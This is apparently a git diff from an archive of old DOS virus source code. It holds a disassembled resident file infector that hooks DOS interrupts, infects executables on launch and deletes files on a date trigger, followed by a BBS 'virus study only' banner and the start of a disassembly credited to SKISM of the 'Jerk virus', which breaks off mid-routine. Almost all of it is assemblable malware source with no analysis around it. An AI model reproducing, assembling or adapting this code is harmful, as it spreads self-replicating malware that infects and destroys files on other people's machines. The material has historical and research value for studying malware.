(6CAF:008F=0) + +CODESEG SEGMENT + ASSUME CS:CODESEG, DS:CODESEG + + + ORG 100h + +sumsdos PROC FAR + +start: + JMP LOC_2 + DB 73H, 55H, 4DH, 73H, 44H, 6FH + DB 73H, 0, 1, 0BCH, 17H, 0 + DB 0, 0, 5, 0, 2BH, 2 + DB 70H, 0, 6EH, 6, 20H, 0BH + DB 0EBH, 4, 14H, 0AH, 92H, 7BH + DB 0 + DB 12 DUP (0) + DB 0E8H, 6, 0ECH, 37H, 17H, 80H + DB 0, 0, 0, 80H, 0, 37H + DB 17H, 5CH, 0, 37H, 17H, 6CH + DB 0, 37H, 17H, 10H, 7, 4CH + DB 72H, 0C5H, 0, 4CH, 72H, 0 + DB 0F0H, 46H, 0, 4DH, 5AH, 60H + DB 0, 0CEH, 2, 9FH, 26H, 0C0H + DB 9, 7, 0, 7, 0, 75H + DB 4FH, 10H, 7, 84H, 19H, 0C5H + DB 0, 75H, 4FH, 1EH, 0, 0 + DB 0, 0B8H, 0, 4CH, 0CDH, 21H + DB 5, 0, 20H, 0, 49H, 13H + DB 91H, 0B3H, 0, 2, 10H, 0 + DB 50H, 93H, 5, 0, 5BH, 3DH + DB 70H, 0ABH + DB 'COMMAND.COM' + DB 1, 0, 0, 0, 0, 0 +LOC_2: + CLD ; Clear direction + MOV AH,0E0H + INT 21H ; DOS Services ah=function E0h + CMP AH,0E0H + JAE LOC_3 ; Jump if above or = + CMP AH,3 + JB LOC_3 ; Jump if below + MOV AH,0DDH + MOV DI,100H + MOV SI,710H + ADD SI,DI + MOV CX,CS:[DI+11H] + INT 21H ; DOS Services ah=function DDh +LOC_3: + MOV AX,CS + ADD AX,10H + MOV SS,AX + MOV SP,700H + PUSH AX + MOV AX,0C5H + PUSH AX + RET ; Return far + DB 0FCH, 6, 2EH, 8CH, 6, 31H + DB 0, 2EH, 8CH, 6, 39H, 0 + DB 2EH, 8CH, 6, 3DH, 0, 2EH + DB 8CH, 6, 41H, 0, 8CH, 0C0H + DB 5, 10H, 0, 2EH, 1, 6 + DB 49H, 0, 2EH, 1, 6, 45H + DB 0, 0B4H, 0E0H, 0CDH, 21H, 80H + DB 0FCH, 0E0H, 73H, 13H, 80H, 0FCH + DB 3, 7, 2EH, 8EH, 16H, 45H + DB 0, 2EH, 8BH, 26H, 43H, 0 + DB 2EH, 0FFH, 2EH, 47H, 0, 33H + DB 0C0H, 8EH, 0C0H, 26H, 0A1H, 0FCH + DB 3, 2EH, 0A3H, 4BH, 0, 26H + DB 0A0H, 0FEH, 3, 2EH, 0A2H, 4DH + DB 0 + DB 26H + +; +; +; External Entry Point +; +; + +int_24h_entry PROC FAR + MOV DATA_46,0A5F3H ; (6CAF:03FC=29H) + MOV ES:DATA_47,0CBH ; (6CAF:03FE=2EH) + POP AX + ADD AX,10H + MOV ES,AX + PUSH CS + POP DS + MOV CX,710H + SHR CX,1 ; Shift w/zeros fill + XOR SI,SI ; Zero register + MOV DI,SI + PUSH ES + MOV AX,142H + PUSH AX + JMP FAR PTR LOC_1 + DB 8CH, 0C8H, 8EH, 0D0H, 0BCH, 0 + DB 7, 33H, 0C0H, 8EH, 0D8H, 2EH + DB 0A1H, 4BH, 0, 0A3H, 0FCH, 3 + DB 2EH, 0A0H, 4DH, 0, 0A2H, 0FEH + DB 3 +int_24h_entry ENDP + + +; +; +; External Entry Point +; +; + +int_21h_entry PROC FAR + MOV BX,SP + MOV CL,4 + SHR BX,CL ; Shift w/zeros fill + ADD BX,10H + MOV CS:DATA_35E,BX ; (6CAF:0033=0) + MOV AH,4AH ; 'J' + MOV ES,CS:DATA_34E ; (6CAF:0031=0) + INT 21H ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + MOV AX,3521H + INT 21H ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + MOV CS:DATA_25E,BX ; (6CAF:0017=0) + MOV CS:DATA_26E,ES ; (6CAF:0019=0) + PUSH CS + POP DS + MOV DX,25BH + MOV AX,2521H + INT 21H ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + MOV ES,DS:DATA_34E ; (6CAF:0031=0) + MOV ES,ES:DATA_1E ; (0000:002C=0FF23H) + XOR DI,DI ; Zero register + MOV CX,7FFFH + XOR AL,AL ; Zero register + +LOCLOOP_5: + REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al + CMP ES:[DI],AL + LOOPNZ LOCLOOP_5 ; Loop if zf=0, cx>0 + + MOV DX,DI + ADD DX,3 + MOV AX,4B00H + PUSH ES + POP DS + PUSH CS + POP ES + MOV BX,35H + PUSH DS + PUSH ES + PUSH AX + PUSH BX + PUSH CX + PUSH DX + MOV AH,2AH ; '*' + INT 21H ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + MOV BYTE PTR CS:DATA_20E,0 ; (6CAF:000E=0) + CMP CX,7C3H + JE LOC_7 ; Jump if equal + CMP AL,5 + JNE LOC_6 ; Jump if not equal + CMP DL,0DH + JNE LOC_6 ; Jump if not equal + INC BYTE PTR CS:DATA_20E ; (6CAF:000E=0) + JMP SHORT LOC_7 + DB 90H +LOC_6: + MOV AX,3508H + INT 21H ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + MOV CS:DATA_23E,BX ; (6CAF:0013=0) + MOV CS:DATA_24E,ES ; (6CAF:0015=0) + PUSH CS + POP DS + MOV WORD PTR DS:DATA_29E,7E90H ; (6CAF:001F=0) + MOV AX,2508H + MOV DX,21EH + INT 21H ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx +LOC_7: + POP DX + POP CX + POP BX + POP AX + POP ES + POP DS + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_25E ; (6CAF:0017=0) + PUSH DS + POP ES + MOV AH,49H ; 'I' + INT 21H ; DOS Services ah=function 49h + ; release memory block, es=seg + MOV AH,4DH ; 'M' + INT 21H ; DOS Services ah=function 4Dh + ; get return code info in ax + MOV AH,31H ; '1' + MOV DX,600H + MOV CL,4 + SHR DX,CL ; Shift w/zeros fill + ADD DX,10H + INT 21H ; DOS Services ah=function 31h + ; terminate & stay resident + DB 32H, 0C0H, 0CFH, 2EH, 83H, 3EH + DB 1FH, 0, 2, 75H, 17H, 50H + DB 53H, 51H, 52H, 55H, 0B8H, 2 + DB 6, 0B7H, 87H, 0B9H, 5, 5 + DB 0BAH, 10H, 10H, 0CDH, 10H, 5DH + DB 5AH, 59H, 5BH, 58H, 2EH, 0FFH + DB 0EH, 1FH, 0, 75H, 12H, 2EH + DB 0C7H, 6, 1FH, 0, 1, 0 + DB 50H, 51H, 56H, 0B9H, 1, 40H + DB 0F3H, 0ACH, 5EH, 59H, 58H, 2EH + DB 0FFH, 2EH, 13H, 0, 9CH, 80H + DB 0FCH, 0E0H, 75H, 5, 0B8H, 0 + DB 3, 9DH, 0CFH, 80H, 0FCH, 0DDH + DB 74H, 13H, 80H, 0FCH, 0DEH, 74H + DB 28H, 3DH, 0, 4BH, 75H, 3 + DB 0E9H, 0B4H, 0 +LOC_8: + POPF ; Pop flags + JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0) +LOC_9: + POP AX + POP AX + MOV AX,100H + MOV CS:DATA_18E,AX ; (6CAF:000A=0) + POP AX + MOV CS:DATA_19E,AX ; (6CAF:000C=0) + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + POPF ; Pop flags + MOV AX,CS:DATA_21E ; (6CAF:000F=0) + JMP DWORD PTR CS:DATA_18E ; (6CAF:000A=0) +LOC_10: + ADD SP,6 + POPF ; Pop flags + MOV AX,CS + MOV SS,AX + MOV SP,710H + PUSH ES + PUSH ES + XOR DI,DI ; Zero register + PUSH CS + POP ES + MOV CX,10H + MOV SI,BX + MOV DI,21H + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + MOV AX,DS + MOV ES,AX + MUL WORD PTR CS:DATA_41E ; (6CAF:007A=0) ax = data * ax + ADD AX,CS:DATA_31E ; (6CAF:002B=0) + ADC DX,0 + DIV WORD PTR CS:DATA_41E ; (6CAF:007A=0) ax,dxrem=dx:ax/data + MOV DS,AX + MOV SI,DX + MOV DI,DX + MOV BP,ES + MOV BX,CS:DATA_33E ; (6CAF:002F=0) + OR BX,BX ; Zero ? + JZ LOC_12 ; Jump if zero +LOC_11: + MOV CX,8000H + REP MOVSW ; Rep while cx>0 Mov [si] to es:[di] + ADD AX,1000H + ADD BP,1000H + MOV DS,AX + MOV ES,BP + DEC BX + JNZ LOC_11 ; Jump if not zero +LOC_12: + MOV CX,CS:DATA_32E ; (6CAF:002D=0) + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + POP AX + PUSH AX + ADD AX,10H + ADD CS:DATA_30E,AX ; (6CAF:0029=0) +DATA_47 DB 2EH + DB 1, 6, 25H, 0, 2EH, 0A1H + DB 21H, 0, 1FH, 7, 2EH, 8EH + DB 16H, 29H, 0, 2EH, 8BH, 26H + DB 27H, 0, 2EH, 0FFH, 2EH, 23H + DB 0 +LOC_13: + XOR CX,CX ; Zero register + MOV AX,4301H + INT 21H ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + MOV AH,41H ; 'A' + INT 21H ; DOS Services ah=function 41h + ; delete file, name @ ds:dx + MOV AX,4B00H + POPF ; Pop flags + JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0) +LOC_14: + CMP BYTE PTR CS:DATA_20E,1 ; (6CAF:000E=0) + JE LOC_13 ; Jump if equal + MOV WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0) + MOV WORD PTR CS:DATA_44E,0 ; (6CAF:008F=0) + MOV CS:DATA_42E,DX ; (6CAF:0080=0) + MOV CS:DATA_43E,DS ; (6CAF:0082=0) + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + CLD ; Clear direction + MOV DI,DX + XOR DL,DL ; Zero register + CMP BYTE PTR [DI+1],3AH ; ':' + JNE LOC_15 ; Jump if not equal + MOV DL,[DI] + AND DL,1FH +LOC_15: + MOV AH,36H ; '6' + INT 21H ; DOS Services ah=function 36h + ; get free space, drive dl,1=a: + CMP AX,0FFFFH + JNE LOC_17 ; Jump if not equal +LOC_16: + JMP LOC_43 +LOC_17: + MUL BX ; dx:ax = reg * ax + MUL CX ; dx:ax = reg * ax + OR DX,DX ; Zero ? + JNZ LOC_18 ; Jump if not zero + CMP AX,710H + JB LOC_16 ; Jump if below +LOC_18: + MOV DX,CS:DATA_42E ; (6CAF:0080=0) + PUSH DS + POP ES + XOR AL,AL ; Zero register + MOV CX,41H + REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al + MOV SI,CS:DATA_42E ; (6CAF:0080=0) +LOC_19: + MOV AL,[SI] + OR AL,AL ; Zero ? + JZ LOC_21 ; Jump if zero + CMP AL,61H ; 'a' + JB LOC_20 ; Jump if below + CMP AL,7AH ; 'z' + JA LOC_20 ; Jump if above + SUB BYTE PTR [SI],20H ; ' ' +LOC_20: + INC SI + JMP SHORT LOC_19 +LOC_21: + MOV CX,0BH + SUB SI,CX + MOV DI,84H + PUSH CS + POP ES + MOV CX,0BH + REPE CMPSB ; Rept zf=1+cx>0 Cmp [si] to es:[di] + JNZ LOC_22 ; Jump if not zero + JMP LOC_43 +LOC_22: + MOV AX,4300H + INT 21H ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + JC LOC_23 ; Jump if carry Set + MOV CS:DATA_38E,CX ; (6CAF:0072=0) +LOC_23: + JC LOC_25 ; Jump if carry Set + XOR AL,AL ; Zero register + MOV CS:DATA_36E,AL ; (6CAF:004E=0) + PUSH DS + POP ES + MOV DI,DX + MOV CX,41H + REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al + CMP BYTE PTR [DI-2],4DH ; 'M' + JE LOC_24 ; Jump if equal + CMP BYTE PTR [DI-2],6DH ; 'm' + JE LOC_24 ; Jump if equal + INC BYTE PTR CS:DATA_36E ; (6CAF:004E=0) +LOC_24: + MOV AX,3D00H + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx +LOC_25: + JC LOC_27 ; Jump if carry Set + MOV CS:DATA_37E,AX ; (6CAF:0070=0) + MOV BX,AX + MOV AX,4202H + MOV CX,0FFFFH + MOV DX,0FFFBH + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + JC LOC_25 ; Jump if carry Set + ADD AX,5 + MOV CS:DATA_22E,AX ; (6CAF:0011=0) + MOV CX,5 + MOV DX,6BH + MOV AX,CS + MOV DS,AX + MOV ES,AX + MOV AH,3FH ; '?' + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + MOV DI,DX + MOV SI,5 + REPE CMPSB ; Rept zf=1+cx>0 Cmp [si] to es:[di] + JNZ LOC_26 ; Jump if not zero + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + JMP LOC_43 +LOC_26: + MOV AX,3524H + INT 21H ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + MOV DS:DATA_27E,BX ; (6CAF:001B=0) + MOV DS:DATA_28E,ES ; (6CAF:001D=0) + MOV DX,21BH + MOV AX,2524H + INT 21H ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + LDS DX,DWORD PTR DS:DATA_42E ; (6CAF:0080=0) Load 32 bit ptr + XOR CX,CX ; Zero register + MOV AX,4301H + INT 21H ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +LOC_27: + JC LOC_28 ; Jump if carry Set + MOV BX,CS:DATA_37E ; (6CAF:0070=0) + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + MOV WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0) + MOV AX,3D02H + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + JC LOC_28 ; Jump if carry Set + MOV CS:DATA_37E,AX ; (6CAF:0070=0) + MOV AX,CS + MOV DS,AX + MOV ES,AX + MOV BX,DS:DATA_37E ; (6CAF:0070=0) + MOV AX,5700H + INT 21H ; DOS Services ah=function 57h + ; get/set file date & time + MOV DS:DATA_39E,DX ; (6CAF:0074=0) + MOV DS:DATA_40E,CX ; (6CAF:0076=0) + MOV AX,4200H + XOR CX,CX ; Zero register + MOV DX,CX + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +LOC_28: + JC LOC_31 ; Jump if carry Set + CMP BYTE PTR DS:DATA_36E,0 ; (6CAF:004E=0) + JE LOC_29 ; Jump if equal + JMP SHORT LOC_33 + DB 90H +LOC_29: + MOV BX,1000H + MOV AH,48H ; 'H' + INT 21H ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + JNC LOC_30 ; Jump if carry=0 + MOV AH,3EH ; '>' + MOV BX,DS:DATA_37E ; (6CAF:0070=0) + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + JMP LOC_43 +LOC_30: + INC WORD PTR DS:DATA_44E ; (6CAF:008F=0) + MOV ES,AX + XOR SI,SI ; Zero register + MOV DI,SI + MOV CX,710H + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + MOV DX,DI + MOV CX,DS:DATA_22E ; (6CAF:0011=0) + MOV BX,DS:DATA_37E ; (6CAF:0070=0) + PUSH ES + POP DS + MOV AH,3FH ; '?' + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +LOC_31: + JC LOC_32 ; Jump if carry Set + ADD DI,CX + XOR CX,CX ; Zero register + MOV DX,CX + MOV AX,4200H + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + MOV SI,5 + MOV CX,5 + DB 0F3H, 2EH, 0A4H, 8BH, 0CFH, 33H + DB 0D2H, 0B4H, 40H, 0CDH + DB 21H +LOC_32: + JC LOC_34 ; Jump if carry Set + JMP LOC_41 +LOC_33: + MOV CX,1CH + MOV DX,4FH + MOV AH,3FH ; '?' + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +LOC_34: + JC LOC_36 ; Jump if carry Set + MOV WORD PTR DS:DATA_11E,1984H ; (3E00:0061=0FFFFH) + MOV AX,DS:DATA_9E ; (3E00:005D=0FFFFH) + MOV DS:DATA_3E,AX ; (3E00:0045=0FFFFH) + MOV AX,DS:DATA_10E ; (3E00:005F=0FFFFH) + MOV DS:DATA_2E,AX ; (3E00:0043=0FFFFH) + MOV AX,DS:DATA_12E ; (3E00:0063=0FFFFH) + MOV DS:DATA_4E,AX ; (3E00:0047=0FFFFH) + MOV AX,DS:DATA_13E ; (3E00:0065=0FFFFH) + MOV DS:DATA_5E,AX ; (3E00:0049=0FFFFH) + MOV AX,DS:DATA_7E ; (3E00:0053=0FFFFH) + CMP WORD PTR DS:DATA_6E,0 ; (3E00:0051=0FFFFH) + JE LOC_35 ; Jump if equal + DEC AX +LOC_35: + MUL WORD PTR DS:DATA_14E ; (3E00:0078=0FFFFH) ax = data * ax + ADD AX,DS:DATA_6E ; (3E00:0051=0FFFFH) + ADC DX,0 + ADD AX,0FH + ADC DX,0 + AND AX,0FFF0H + MOV DS:DATA_16E,AX ; (3E00:007C=0FFFFH) + MOV DS:DATA_17E,DX ; (3E00:007E=0FFFFH) + ADD AX,710H + ADC DX,0 +LOC_36: + JC LOC_38 ; Jump if carry Set + DIV WORD PTR DS:DATA_14E ; (3E00:0078=0FFFFH) ax,dxrem=dx:ax/da + OR DX,DX ; Zero ? + JZ LOC_37 ; Jump if zero + INC AX +LOC_37: + MOV DS:DATA_7E,AX ; (3E00:0053=0FFFFH) + MOV DS:DATA_6E,DX ; (3E00:0051=0FFFFH) + MOV AX,DS:DATA_16E ; (3E00:007C=0FFFFH) + MOV DX,DS:DATA_17E ; (3E00:007E=0FFFFH) + DIV WORD PTR DS:DATA_15E ; (3E00:007A=0FFFFH) ax,dxrem=dx:ax/da + SUB AX,DS:DATA_8E ; (3E00:0057=0FFFFH) + MOV DS:DATA_13E,AX ; (3E00:0065=0FFFFH) + MOV WORD PTR DS:DATA_12E,0C5H ; (3E00:0063=0FFFFH) + MOV DS:DATA_9E,AX ; (3E00:005D=0FFFFH) + MOV WORD PTR DS:DATA_10E,710H ; (3E00:005F=0FFFFH) + XOR CX,CX ; Zero register + MOV DX,CX + MOV AX,4200H + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +LOC_38: + JC LOC_39 ; Jump if carry Set + MOV CX,1CH + MOV DX,4FH + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +LOC_39: + JC LOC_40 ; Jump if carry Set + CMP AX,CX + JNE LOC_41 ; Jump if not equal + MOV DX,DS:DATA_16E ; (3E00:007C=0FFFFH) + MOV CX,DS:DATA_17E ; (3E00:007E=0FFFFH) + MOV AX,4200H + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +LOC_40: + JC LOC_41 ; Jump if carry Set + XOR DX,DX ; Zero register + MOV CX,710H + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +LOC_41: + CMP WORD PTR CS:DATA_44E,0 ; (6CAF:008F=0) + JE LOC_42 ; Jump if equal + MOV AH,49H ; 'I' + INT 21H ; DOS Services ah=function 49h + ; release memory block, es=seg +LOC_42: + CMP WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0) + JE LOC_43 ; Jump if equal + MOV BX,CS:DATA_37E ; (6CAF:0070=0) + MOV DX,CS:DATA_39E ; (6CAF:0074=0) + MOV CX,CS:DATA_40E ; (6CAF:0076=0) + MOV AX,5701H + INT 21H ; DOS Services ah=function 57h + ; get/set file date & time + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + LDS DX,DWORD PTR CS:DATA_42E ; (6CAF:0080=0) Load 32 bit ptr + MOV CX,CS:DATA_38E ; (6CAF:0072=0) + MOV AX,4301H + INT 21H ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + LDS DX,DWORD PTR CS:DATA_27E ; (6CAF:001B=0) Load 32 bit ptr + MOV AX,2524H + INT 21H ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx +LOC_43: + POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POPF ; Pop flags + JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0) + DB 11 DUP (0) + DB 4DH, 14H, 0AH, 0, 10H + DB 11 DUP (0) + DB 0E9H, 92H, 0, 73H, 55H, 4DH + DB 73H, 44H, 6FH, 73H, 0, 1 + DB 0BCH, 17H, 0, 0, 0, 5 + DB 0, 2BH, 2, 70H, 0, 6EH + DB 6, 20H, 0BH, 0EBH, 4, 14H + DB 0AH, 92H, 7BH, 0 + DB 12 DUP (0) + DB 0E8H, 6, 0ECH, 37H, 17H, 80H + DB 0, 0, 0, 80H, 0, 37H + DB 17H, 5CH, 0, 37H, 17H, 6CH + DB 0, 37H, 17H, 10H, 7, 4CH + DB 72H, 0C5H, 0, 4CH, 72H, 0 + DB 0F0H, 46H, 0, 4DH, 5AH, 60H + DB 0, 0CEH, 2, 9FH, 26H, 0C0H + DB 9, 7, 0, 7, 0, 75H + DB 4FH, 10H, 7, 84H, 19H, 0C5H + DB 0, 75H, 4FH, 1EH, 0, 0 + DB 0, 0B8H, 0, 4CH, 0CDH, 21H + DB 5, 0, 20H, 0, 49H, 13H + DB 91H, 0B3H, 0, 2, 10H, 0 + DB 50H, 93H, 5, 0, 5BH, 3DH + DB 70H, 0ABH + DB 'COMMAND.COM' + DB 1, 0, 0, 0, 0, 0 + DB 0FCH, 0B4H, 0E0H, 0CDH, 21H, 80H + DB 0FCH, 0E0H, 73H, 16H, 80H, 0FCH + DB 3, 72H, 11H, 0B4H, 0DDH, 0BFH + DB 0, 1, 0BEH, 10H, 7, 3 + DB 0F7H, 2EH, 8BH, 8DH, 11H, 0 + DB 0CDH + DB 21H +LOC_44: + MOV AX,CS + ADD AX,10H + MOV SS,AX + MOV SP,700H + PUSH AX + MOV AX,0C5H + PUSH AX + RET ; Return far +int_21h_entry ENDP + + DB 0FCH, 6, 2EH, 8CH, 6, 31H + DB 0, 2EH, 8CH, 6, 39H, 0 + DB 2EH, 8CH, 6, 3DH, 0, 2EH + DB 8CH, 6, 41H, 0, 8CH, 0C0H + DB 5, 10H, 0, 2EH, 1, 6 + DB 49H, 0, 2EH, 1, 6, 45H + DB 0, 0B4H, 0E0H, 0CDH, 21H, 80H + DB 0FCH, 0E0H, 73H, 13H, 80H, 0FCH + DB 3, 7, 2EH, 8EH, 16H, 45H + DB 0, 2EH, 8BH, 26H, 43H, 0B8H + DB 0, 4CH, 0CDH + DB 21H, 4DH, 73H, 44H, 6FH, 73H + +sumsdos ENDP + +CODESEG ENDS + + + + END START + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; diff --git a/s/SUPER.ASM b/s/SUPER.ASM new file mode 100755 index 0000000..c33b254 --- /dev/null +++ b/s/SUPER.ASM @@ -0,0 +1,796 @@ + +PAGE 59,132 + +; +; +; JERK VIRUS +; +; Disassembly by +; +; DecimatoR / SKISM +; NOTE: Although this code compiles with TASM 2.0, it may not function +; in the same manner as the original virus. Test it further. +; + +data_1e equ 446h ; (009D:0446=10h) +data_2e equ 2Ch ; (8344:002C=0) +data_3e equ 80h ; (8344:0080=0) +data_22e equ 55Ch ; (8344:055C=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +super proc far + +start: + call sub_1 ; (010A) + dec bp +;* jnz loc_3 ;*Jump if not zero + db 75h, 72h + jo loc_2 ; Jump if overflow=1 + jns $-6Eh ; Jump if not sign + +super endp + +; +; SUBROUTINE +; + +sub_1 proc near + jmp short loc_1 ; (0115) + db 0CDh, 20h +data_7 dw 9090h, 9090h, 9090h + db 90h +loc_1: + cld ; Clear direction + pushf ; Push flags + call sub_2 ; (0132) + call sub_6 ; (01B1) + call sub_4 ; (0188) + call sub_28 ; (0491) + call sub_27 ; (041B) + call sub_5 ; (01A0) + popf ; Pop flags + pop bp + mov bp,100h + push bp + xor bp,bp ; Zero register + retn +sub_1 endp + + +; +; SUBROUTINE +; + +sub_2 proc near + call sub_3 ; (017E) + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov di,offset ds:[4F4h] ; (8344:04F4=79h) + mov [bp+di],bx + mov [bp+di],es + push cs + pop es + mov ax,2524h + mov dx,offset int_24h_entry + add dx,bp + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,3301h + xor dl,dl ; Zero register + int 21h ; DOS Services ah=function 33h + ; ctrl-break flag al=off/on + mov si,offset ds:[10Bh] ; (8344:010B=9) + add si,bp + mov cx,9 + mov di,offset ds:[100h] ; (8344:0100=0E8h) + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,1Ah + mov dx,offset data_21 ; (8344:053E=0) + add dx,bp + mov [bp+294h],dx + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov ah,19h +loc_2: + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov [bp+4F8h],al + mov bx,0FFFFh + mov [bp+53Ch],bx + retn + +; External Entry into Subroutine + +sub_3: + pop bp + push bp + sub bp,134h +sub_2 endp + + +; +; +; External Entry Point +; +; + +int_24h_entry proc far + retn +int_24h_entry endp + + db 32h,0C0h,0CFh + +; +; SUBROUTINE +; + +sub_4 proc near + mov ah,1Ah + mov dx,data_3e ; (8344:0080=0) + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + call sub_7 ; (01DF) + mov ax,2524h + mov si,offset ds:[4F4h] ; (8344:04F4=79h) + lds dx,dword ptr [bp+si] ; Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + call sub_5 ; (01A0) + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + push cs + pop ds + push cs + pop es + xor ax,ax ; Zero register + xor bx,bx ; Zero register + xor cx,cx ; Zero register + xor dx,dx ; Zero register + xor si,si ; Zero register + xor di,di ; Zero register + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + call sub_7 ; (01DF) + xor ah,ah ; Zero register + mov cx,ax + mov dh,al + +locloop_4: + or dl,dl ; Zero ? + jnz loc_5 ; Jump if not zero + mov dl,dh +loc_5: + call sub_8 ; (01E8) + dec dl + jnc loc_6 ; Jump if carry=0 + loop locloop_4 ; Loop if cx > 0 + + jmp short loc_ret_8 ; (01DE) +loc_6: + dec cx + jz loc_7 ; Jump if zero + call sub_9 ; (021F) + jnc loc_ret_8 ; Jump if carry=0 + call sub_7 ; (01DF) + call sub_8 ; (01E8) + jc loc_ret_8 ; Jump if carry Set +loc_7: + call sub_9 ; (021F) + +loc_ret_8: + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + mov ah,0Eh + mov dl,[bp+4F8h] + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + push cx + push dx + mov ah,36h ; '6' + int 21h ; DOS Services ah=function 36h + ; get free space, drive dl,1=a: + cmp ax,0FFFFh + je loc_10 ; Jump if equal + mul cx ; dx:ax = reg * ax + mul bx ; dx:ax = reg * ax + cmp ax,800h + jae loc_9 ; Jump if above or = + or dx,dx ; Zero ? + jz loc_10 ; Jump if zero +loc_9: + pop dx + push dx + dec dl + mov ah,0Eh + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + mov ah,5Bh ; '[' + xor cx,cx ; Zero register + mov dx,offset data_15+3 ; (8344:04FF=0) + add dx,bp + int 21h ; DOS Services ah=function 5Bh + ; create new file, name @ ds:dx + jc loc_11 ; Jump if carry Set + mov ah,41h ; 'A' + int 21h ; DOS Services ah=function 41h + ; delete file, name @ ds:dx + jmp short loc_11 ; (021C) +loc_10: + stc ; Set carry flag +loc_11: + pop dx + pop cx + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + call sub_13 ; (0297) + mov ah,3Bh ; ';' + mov dx,offset ds:[4F9h] ; (8344:04F9=2) + add dx,bp + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + call sub_10 ; (0232) + call sub_14 ; (02AB) + retn +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + call sub_11 ; (025E) + jc loc_ret_14 ; Jump if carry Set + call sub_13 ; (0297) + call sub_18 ; (02EE) + jnc loc_13 ; Jump if carry=0 + call sub_15 ; (02B8) + jc loc_13 ; Jump if carry Set +loc_12: + mov ah,3Bh ; ';' + mov dx,data_22e ; (8344:055C=0) + add dx,bp + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + call sub_10 ; (0232) + jnc loc_13 ; Jump if carry=0 